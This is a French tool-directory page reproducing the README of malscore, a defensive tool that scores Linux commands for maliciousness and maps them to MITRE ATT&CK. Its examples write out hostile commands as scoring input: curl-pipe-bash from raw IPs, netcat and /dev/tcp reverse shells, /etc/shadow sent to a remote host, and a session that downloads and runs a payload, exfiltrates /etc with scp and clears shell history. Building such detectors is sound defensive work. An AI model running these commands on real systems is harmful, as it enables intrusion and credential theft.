Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
malscore — Scoring de malveillance pour les commandes Linux | Kitploit
Outils/GitHubGitHub/raj3shp/malscore
Outils DéfensifsAnalyse StatiqueScripting et AutomatisationAnalyse de MalwareRenseignement sur les MenacesRéponse aux IncidentsDétection d'AnomaliesAnalyse de Journaux
GitHubraj3shp/malscore

malscore

Scoring de malveillance pour les commandes Linux

Voir le dépôt
917il y a 10h 37mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🦠 malscore

Version PyPI Python 3.8+ Licence : Apache-2.0 Zéro dépendance Mappé à MITRE ATT&CK

malscore prend une ligne de commande Linux, ou une session de commandes telle qu'un historique de shell, et renvoie un score de malveillance de 0 à 100 avec une bande de verdict et un mappage MITRE ATT&CK :

command(s) → features → signals → score + MITRE mapping

Il n'exécute, n'étend ni ne résout jamais rien — il ne fait que lire le texte (imposé par tests/test_safety.py). Il n'a aucune dépendance au-delà de la bibliothèque standard Python (3.8+).


Installation

pip install malscore       # provides the `malscore` command

Depuis une copie de travail des sources :

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

Démarrage rapide

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

API Python

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) masque les valeurs ressemblant à des identifiants avant que tout texte de commande ne soit renvoyé ; les scores ne sont pas affectés.


Exemples :

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz [email protected]:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

Dans un fichier de session, chaque ligne non vide correspond à une commande, prise littéralement : il n'y a aucune gestion des commentaires, des continuations de ligne ou des here-documents. --batch est différent : il évalue chaque commande d'un flux JSON indépendamment, sans analyse inter-commandes.


Bandes de verdict

scoreverdictsignification
80–100criticalla forme est rarement légitime (reverse shell, effacement de disque, compte uid‑0)
60–79highpreuves solides ; à examiner rapidement
35–59mediumsuspect dans la plupart des contextes (curl‑pipe‑shell, lecture de shadow)
15–34lowà noter en combinaison
0–14benignroutine

Les bandes et les poids sont un point de départ ajusté manuellement, pas un modèle entraîné — chaque point du score se rattache à un signal nommé et à une technique MITRE ATT&CK.


Comment le score est construit

  1. Caractéristiques. La commande est analysée lexicalement (sans rien exécuter), les wrappers tels que sudo/env/xargs sont déballés, les substitutions et les charges utiles -c sont explorées, et des caractéristiques déterministes sont calculées — chaînes de téléchargement, chemins touchés, surfaces de persistance, astuces d'encodage, et un groupe tradecraft (malscore/tradecraft.py) qui reconnaît des techniques d'attaquant spécifiques par leur forme.
  2. Signaux. malscore/signals.py est un catalogue d'environ 120 signaux nommés : un prédicat sur l'enregistrement de caractéristiques, un poids dans (0, 1], une tactique MITRE et des identifiants de technique. Un poids se lit comme « quelle est la probabilité que ce soit hostile si c'était la seule chose que nous sachions ». Le catalogue couvre, par tactique ATT&CK :
    • exécution — interpréteur depuis un téléchargement, charges utiles décodées, mises à niveau TTY, exécution sans fichier depuis /proc/self/fd ;
    • accès aux identifiants — /etc/shadow et clés privées, métadonnées cloud, recherches de mots-clés d'identifiants dans les fichiers de configuration, lectures de .pgpass/.netrc/ fichiers d'identifiants cloud, extraction d'environnement et d'historique, détournement de l'agent SSH ;
    • élévation de privilèges — reverse shells, modifications de sudoers, setuid, évasion de conteneur, shells root interactifs, évasions de shell via GTFOBins, le contournement sudo -u#-1, détournements de PATH ;
    • collecte / exfiltration — archives et dumps de bases de données, accès à des tables ou fichiers contenant des numéros de carte / jetons / données clients, recherches par regex de numéros de carte et de SSN, exfiltration DNS et encodée, services de paste/webhook ;
    • évasion de défense — altération de l'historique et des journaux, désactivation d'EDR/audit, effacement de drapeaux immuables, dissimulation par bind-mount de /proc ;
    • persistance / impact — cron, systemd, hooks de connexion, effacements de disque, fork bombs, mineurs, DROP TABLE, suppressions massives de processus.
Télécharger l’outil